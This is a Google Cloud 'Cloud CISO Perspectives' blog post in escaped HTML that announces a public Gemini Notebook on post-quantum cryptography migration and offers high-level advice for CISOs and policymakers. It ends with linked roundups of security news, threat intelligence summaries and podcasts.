&lt;div class="block-aside"&gt;&lt;dl&gt;
    &lt;dt&gt;aside_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;title&amp;#x27;, &amp;#x27;Get vital board insights with Google Cloud&amp;#x27;), (&amp;#x27;body&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61befd490&amp;gt;), (&amp;#x27;btn_text&amp;#x27;, &amp;#x27;Visit the hub&amp;#x27;), (&amp;#x27;href&amp;#x27;, &amp;#x27;https://cloud.google.com/solutions/security/board-of-directors?utm_source=cgc-site&amp;amp;utm_medium=et&amp;amp;utm_campaign=FY26-Q2-GLOBAL-GCP39634-email-dl-dgcsm-CISOP-NL-177159&amp;amp;utm_content=-&amp;amp;utm_term=-&amp;#x27;), (&amp;#x27;image&amp;#x27;, &amp;lt;GAEImage: GCAT-replacement-logo-A&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;h3 data-block-key="hswvv"&gt;&lt;b&gt;New Gemini Notebook can help CISOs and policymakers prepare for PQC&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="5s0ip"&gt;&lt;i&gt;By Stephanie Kiel, Head of Cloud Security Policy, Government Affairs and Public Policy, Google Cloud&lt;/i&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_with_image"&gt;&lt;div class="article-module h-c-page"&gt;
  &lt;div class="h-c-grid uni-paragraph-wrap"&gt;
    &lt;div class="uni-paragraph
      h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
      h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3"&gt;

      






  

    &lt;figure class="article-image--wrap-small
      
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Stephanie_Kiel_crop.max-1000x1000.jpg"
        
          alt="Stephanie Kiel crop"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="nj7d4"&gt;Stephanie Kiel, Head of Cloud Security Policy, Government Affairs and Public Policy, Google Cloud&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  





      &lt;p data-block-key="0jyqm"&gt;Post-quantum cryptography (PQC) is one of the most urgent security shifts of the decade — and one of the easiest to tune out. For security leaders and policymakers, the research is dense, scattered across papers and engineering blogs, and can be challenging to turn into action.&lt;/p&gt;&lt;p data-block-key="3s5rv"&gt;To help, we're launching &lt;a href="https://notebook.google.com/notebook/68849586-67c5-4165-8f72-64a61991f1dd"&gt;Prepare for Post-Quantum Cryptography&lt;/a&gt;, a public Gemini Notebook that brings Google's PQC research, engineering blogs, and migration guidance together in one place. Ask it questions, listen to an audio overview, or test yourself with flashcards, and quickly get up to speed on the quantum threat.&lt;/p&gt;&lt;p data-block-key="3iqhh"&gt;&lt;b&gt;Why PQC matters now&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="8blg0"&gt;Quantum computing is rapidly moving from theory to reality. Our &lt;a href="https://blog.google/technology/research/google-willow-quantum-chip/"&gt;Willow chip&lt;/a&gt; and &lt;a href="https://blog.google/innovation-and-ai/technology/research/quantum-echoes-willow-verifiable-quantum-advantage/"&gt;Quantum Echoes algorithm&lt;/a&gt; mark substantial progress, and Google research estimates that breaking &lt;a href="https://arxiv.org/abs/2603.28846"&gt;ECDLP-256&lt;/a&gt; and &lt;a href="https://arxiv.org/abs/2505.15917"&gt;RSA-2048&lt;/a&gt; encryption — the public-key cryptography schemes protecting much of our online data — would require around 500,000 and 1 million imperfect quantum computer components (noisy qubits), respectively.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-pull_quote"&gt;&lt;div class="uni-pull-quote h-c-page"&gt;
  &lt;section class="h-c-grid"&gt;
    &lt;div class="uni-pull-quote__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
      h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3"&gt;
      &lt;div class="uni-pull-quote__inner-wrapper h-c-copy h-c-copy"&gt;
        &lt;q class="uni-pull-quote__text"&gt;To help, we&amp;#x27;re launching Prepare for Post-Quantum Cryptography, a public Gemini Notebook that brings Google&amp;#x27;s PQC research, engineering blogs, and migration guidance together in one place.&lt;/q&gt;

        
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/section&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This research has consequences now. It indicates that today’s online security is more vulnerable to future quantum computers than previously thought.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In &lt;/span&gt;&lt;a href="https://www.ietf.org/archive/id/draft-reddy-uta-pqc-app-03.html#name-timeline-for-transition" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Store Now, Decrypt Later&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; attacks, adversaries may steal encrypted data now and wait to decrypt it once a sufficiently powerful quantum computer exists. Data that we’ve long considered sensitive — health records, financial data, intellectual property, and government secrets — is already at risk&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;With continued advances in architecture, quantum algorithms, and quantum error correction shrinking future quantum hardware requirements, waiting to upgrade our digital locks is not a viable option. To help organizations stay ahead of the curve, Google has published a &lt;/span&gt;&lt;a href="https://blog.google/innovation-and-ai/technology/safety-security/cryptography-migration-timeline/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;migration timeline&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; noting our plans to transition to PQC by 2029, and we urge others to consider the same.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;As the technology advances, policymakers should consider urging critical infrastructure owners and operators to recognize condensed timelines, and build PQC readiness into existing risk mitigation plans. We also recommend governments engage with global counterparts to promote a harmonized approach to standards development, and include technical and security experts in the building of policy and regulatory requirements focused on quantum safety. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Google's PQC expertise, in one notebook&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The Prepare for Post-Quantum Cryptography notebook turns years of Google expertise into an interactive primer that anyone can use. It's built on curated Google sources covering the quantum era, quantum computing breakthroughs like Willow, Quantum Echoes, and surface code error suppression, industry PQC standards, Google's own deployments, and the latest research.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In the Gemini Notebook, you can:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Get answers grounded in Google's sources.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Listen to a podcast-style audio overview.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Test your PQC knowledge with flashcards.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Explore an interactive visual diagram of the quantum threat.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Read a concise briefing document.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Try these prompts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To get started, here are a few questions to ask the notebook:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;For CISOs&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: "What should a CISO prioritize in the first 90 days of a PQC migration?"&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;For anyone new to PQC&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: "Explain store-now-decrypt-later in plain terms."&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;For developers&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: "How does hybrid ML-KEM key exchange work in Chrome?"&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;As with all generative AI, the notebook can make mistakes, so check its responses against the linked sources.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;What's at stake&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Previous cryptographic migrations, such as moving from SHA-1 or upgrading TLS, have taken a decade or more. Waiting for the availability of a cryptographically-relevant quantum computer before beginning the migration journey represents a significant security risk given the importance of&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; public-key cryptography for securing digital essentials like web traffic, software updates, digital identities, and signatures.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For CISOs, we recommend that you start by:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Understanding&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; where vulnerable cryptography lives in your organization.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Identifying and prioritizing &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;data and systems most at risk from quantum threats, and developing a plan for addressing these risks. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Anticipate system-wide effects &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;that PQC migration could have.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Building&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; crypto-agility into your security plans, using learnings from past experiences like Heartbleed.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Additional detail on these recommendations is available in our previous &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-prepare-early-for-PQC-resilient-cryptographic-threats?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;blog post&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.  &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For the broader security community, the transition only succeeds if this knowledge is accessible to everyone — not just organizations with dedicated cryptography teams.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;How Google is putting PQC into practice&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We’ve been deploying PQC for years. Highlights include:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://blog.chromium.org/2023/08/protecting-chrome-traffic-with-hybrid.html" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Hybrid Kyber/ML-KEM key exchange protecting Chrome traffic&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://blog.google/security/security-for-the-quantum-era-implementing-post-quantum-cryptography-in-android/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;PQC in Android&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/blog/products/identity-security/announcing-quantum-safe-digital-signatures-in-cloud-kms"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Quantum-safe digital signatures in Cloud KMS&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://cloud.google.com/blog/products/identity-security/why-google-now-uses-post-quantum-cryptography-for-internal-comms?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;PQC for Google's internal communications&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://www.wiz.io/blog/wiz-for-pqc-readiness" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Wiz PQC readiness scanner across code, cloud, and runtime&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We also co-founded the &lt;/span&gt;&lt;a href="https://pqca.org/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Post-Quantum Cryptography Alliance&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; at the Linux Foundation with industry leaders including Amazon Web Services, Cisco, IBM, and NVIDIA to support open-source tools like &lt;/span&gt;&lt;a href="https://openquantumsafe.org/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Open Quantum Safe&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Build a PQC notebook for your own team&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Here’s how you can create a resource similar to our PQC Gemini Notebook, specific to your organization’s needs:&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Curate trusted sources&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;. Start with a focused set of authoritative research, standards, and guidance.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Write neutral prompts&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;. Keep instructions factual so outputs stay grounded in your sources.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Add AI disclaimers and a welcome note&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;. Tell readers what the notebook covers and remind them that AI can make mistakes.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Review all output with human oversight&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;. Have experts check every artifact before you share it.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Start preparing today&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The quantum transition has already started, but preparing your organization doesn't have to begin with a 100-page whitepaper. Start by understanding the threat, then assess your cryptographic inventory and build a migration roadmap.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;You can get started with the Prepare for Post-Quantum Cryptography Gemini Notebook and share it with your team today. To learn more about Google Cloud’s approach to PQC, check out our dedicated &lt;/span&gt;&lt;a href="https://cloud.google.com/security/resources/post-quantum-cryptography"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Cloud PQC Resource Hub&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-aside"&gt;&lt;dl&gt;
    &lt;dt&gt;aside_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;title&amp;#x27;, &amp;#x27;Learn something new&amp;#x27;), (&amp;#x27;body&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61beff990&amp;gt;), (&amp;#x27;btn_text&amp;#x27;, &amp;#x27;Watch now&amp;#x27;), (&amp;#x27;href&amp;#x27;, &amp;#x27;https://www.youtube.com/watch?v=Wpo-5ke9uvQ&amp;#x27;), (&amp;#x27;image&amp;#x27;, &amp;lt;GAEImage: Cloud-CISO-Perspectives-logo-A&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;h3 data-block-key="4bd61"&gt;&lt;b&gt;In case you missed it&lt;/b&gt;&lt;/h3&gt;&lt;p data-block-key="5jotr"&gt;Here are the latest updates, products, services, and resources from our security teams so far this month:&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="dec5b"&gt;&lt;b&gt;Securing enterprise agility in the machine-speed era&lt;/b&gt;: Learn what executives need to know about today’s threat landscape, how security teams should respond, and why Google AI Threat Defense can help. &lt;a href="https://cloud.google.com/transform/securing-enterprise-agility-in-the-machine-speed-era"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="48nso"&gt;&lt;b&gt;Gemini 4 Argon available on Google Cloud&lt;/b&gt;: We’re making our new frontier model, Gemini 4 Argon, available for everyone on Google Cloud. Here’s how it can help boost the defender’s advantage. &lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="4m58p"&gt;&lt;b&gt;Android's next-gen enclave for on-device AI&lt;/b&gt;: Learn about Android’s enclave architecture for personalized on-device AI experiences. &lt;a href="https://blog.google/security/enabling-the-next-gen-enclave-architecture-for-on-device-ai-on-android/" target="_blank"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="7hbd0"&gt;&lt;b&gt;The Wiz Red Agent caught a Fortune 500 firm’s data exposure that other tools missed&lt;/b&gt;: Using an attacker’s mindset, the Red Agent found a public page exposing sensitive data in minutes. &lt;a href="https://www.wiz.io/blog/red-agent-financial-services-data-exposure" target="_blank"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="7a772"&gt;&lt;b&gt;Chrome's response to recent ccTLD registry hijacks&lt;/b&gt;: Following recent .gh, .sl, and .as ccTLD domain hijacks, Chrome immediately blocked unauthorized HTTPS certificates via CRLSets to protect users automatically. &lt;a href="https://blog.google/security/chromes-response-to-recent-cctld-registry-hijacks/" target="_blank"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="ql8u"&gt;&lt;b&gt;Wiz Blue Agent POV: Investigating data theft across AWS and GitHub&lt;/b&gt;: See how the Blue Agent investigated a multi-platform attack in minutes, following evidence across AWS and GitHub to uncover compromised credentials, stolen source code, and custom data exfiltration tooling. &lt;a href="https://www.wiz.io/blog/blue-agent-data-exfiltration-investigation" target="_blank"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="s142"&gt;&lt;b&gt;Introducing Wiz AI SAST: Application security that understands you&lt;/b&gt;: Find, validate, and fix complex business logic flaws with an AI code scanner backed by Wiz Research, operationalized in your existing security program. &lt;a href="https://www.wiz.io/blog/introducing-wiz-ai-sast" target="_blank"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="8c8oh"&gt;&lt;b&gt;Introducing WizOS Helm Charts to secure the Kubernetes supply chain&lt;/b&gt;: WizOS Helm Charts can help eliminate hidden CI/CD risks and unmaintained dependencies with hardened, signed, and CVE-scanned charts for Kubernetes. &lt;a href="https://www.wiz.io/blog/wizos-helm-charts" target="_blank"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="2d5mb"&gt;&lt;b&gt;What’s new in Wiz Service Catalog&lt;/b&gt;: Smarter discovery, governance, and service-level context can help build your service catalog faster, keep service context current, and give teams a clearer path from cloud risk to accountability. &lt;a href="https://www.wiz.io/blog/wiz-service-catalog-updates" target="_blank"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="2qk47"&gt;Please visit the Google Cloud blog for more security stories &lt;a href="https://cloud.google.com/blog/products/identity-security"&gt;published this month&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-aside"&gt;&lt;dl&gt;
    &lt;dt&gt;aside_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;title&amp;#x27;, &amp;#x27;Join the Google Cloud CISO Community&amp;#x27;), (&amp;#x27;body&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61befdd50&amp;gt;), (&amp;#x27;btn_text&amp;#x27;, &amp;#x27;Learn more&amp;#x27;), (&amp;#x27;href&amp;#x27;, &amp;#x27;https://rsvp.withgoogle.com/events/google-cloud-ciso-community-interest-form-2026?utm_source=cgc-blog&amp;amp;utm_medium=blog&amp;amp;utm_campaign=FY25-Q1-global-GCP30328-physicalevent-er-dgcsm-parent-CISO-community-2025&amp;amp;utm_content=cisop_&amp;amp;utm_term=-&amp;#x27;), (&amp;#x27;image&amp;#x27;, &amp;lt;GAEImage: GCAT-replacement-logo-A&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;h3 data-block-key="29tyz"&gt;&lt;b&gt;Threat Intelligence news&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li data-block-key="dtjq6"&gt;&lt;b&gt;Vulnerability discovery and exploitation trends in the AI era&lt;/b&gt;: To counter the increased risk from rapid vulnerability discovery and exploitation, organizations should transition from unprioritized mass-patching to threat-intelligence-driven triage, combining targeted edge-defense with automated, agentic remediation. &lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/vulnerability-discovery-and-exploitation-trends-in-the-ai-era"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="dgtm4"&gt;&lt;b&gt;Defending against active exploitation of Citrix NetScaler ADC and Gateway appliances&lt;/b&gt;: Mandiant Consulting and Google Threat Intelligence Group (GTIG) identified active, in-the-wild exploitation of a zero-day vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway appliances. Here’s our containment and remediation guidance. &lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/vulnerability-discovery-and-exploitation-trends-in-the-ai-era"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="fijve"&gt;&lt;b&gt;ShinyHunters renewed mass exploitation campaign targeting Oracle PeopleSoft&lt;/b&gt;: Mandiant and Google Threat Intelligence Group (GTIG) have identified renewed mass exploitation of CVE-2026-35273 by UNC6240 (ShinyHunters), along with expanded global targeting across multiple sectors. &lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-renewed-mass-exploitation-campaign-targeting-oracle-peoplesoft"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="aufq2"&gt;&lt;b&gt;Proactively defend by hardening code pipelines and CI/CD infrastructure&lt;/b&gt;: Check out our actionable blueprint for software and platform architects designed to safeguard the software supply chain against threat vectors that are actively being exploited, third-party risks, and architectural vulnerabilities throughout the entire software development lifecycle. &lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/hardening-code-pipelines-and-ci-cd-infrastructure"&gt;&lt;b&gt;Read more&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="f6l8p"&gt;Please visit the Google Cloud blog for more threat intelligence stories &lt;a href="https://cloud.google.com/blog/topics/threat-intelligence/"&gt;published this month&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;h3 data-block-key="rcfc5"&gt;&lt;b&gt;Now hear this: Podcasts from Google Cloud&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li data-block-key="a4hsh"&gt;&lt;b&gt;Cloud Security Podcast: Patching browsers with AI, agents, Rust, and your tabs&lt;/b&gt;: Jasika Bawa and Doug Turner of Chrome Security explore how Google Chrome now uses AI agents to autonomously identify and patch security vulnerabilities at an unprecedented scale, significantly accelerating the browser's update cadence. &lt;a href="https://www.youtube.com/watch?v=pCXT8lQqg_U" target="_blank"&gt;&lt;b&gt;Listen here&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="8g5vm"&gt;&lt;b&gt;Cloud Security Podcast: All about Project Atlas, Wiz's AI vulnerability research&lt;/b&gt;: Nir Orfeld, head of vulnerability research, Wiz, discusses how his team uses multi-agent AI systems for discovering high-impact zero-day vulnerabilities in cloud infrastructure. &lt;a href="https://www.youtube.com/watch?v=qRJJ9ekpuVg" target="_blank"&gt;&lt;b&gt;Listen here&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;li data-block-key="fqt39"&gt;&lt;b&gt;Cloud Security Podcast: How Google eliminates classes of vulnerabilities at scale&lt;/b&gt;: How do you build the foundations for a secure Google-scale enterprise that stays secure even if an AI is writing the code and nobody has time to review it? Christoph Kern, principal security engineer, Google, explores what secure-by-design really means in the AI era. &lt;a href="https://www.youtube.com/watch?v=43imRRfgLgc" target="_blank"&gt;&lt;b&gt;Listen here&lt;/b&gt;&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="5he96"&gt;To have our Cloud CISO Perspectives post delivered twice a month to your inbox, &lt;a href="https://cloud.google.com/resources/google-cloud-ciso-newsletter-signup"&gt;sign up for our newsletter&lt;/a&gt;. We’ll be back in a few weeks with more security-related updates from Google Cloud.&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 14 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-new-gemini-notebook-can-help-cisos-policymakers-prepare-for-pqc/</guid><category>Cloud CISO</category><category>Public Sector</category><category>Security &amp; Identity</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/Cloud_CISO_Perspectives_header_4_Blue.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Cloud CISO Perspectives: New Gemini Notebook can help CISOs and policymakers prepare for PQC</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/Cloud_CISO_Perspectives_header_4_Blue.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/products/identity-security/cloud-ciso-perspectives-new-gemini-notebook-can-help-cisos-policymakers-prepare-for-pqc/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Stephanie Kiel</name><title>Head of Cloud Security Policy, Government Affairs and Public Policy, Google 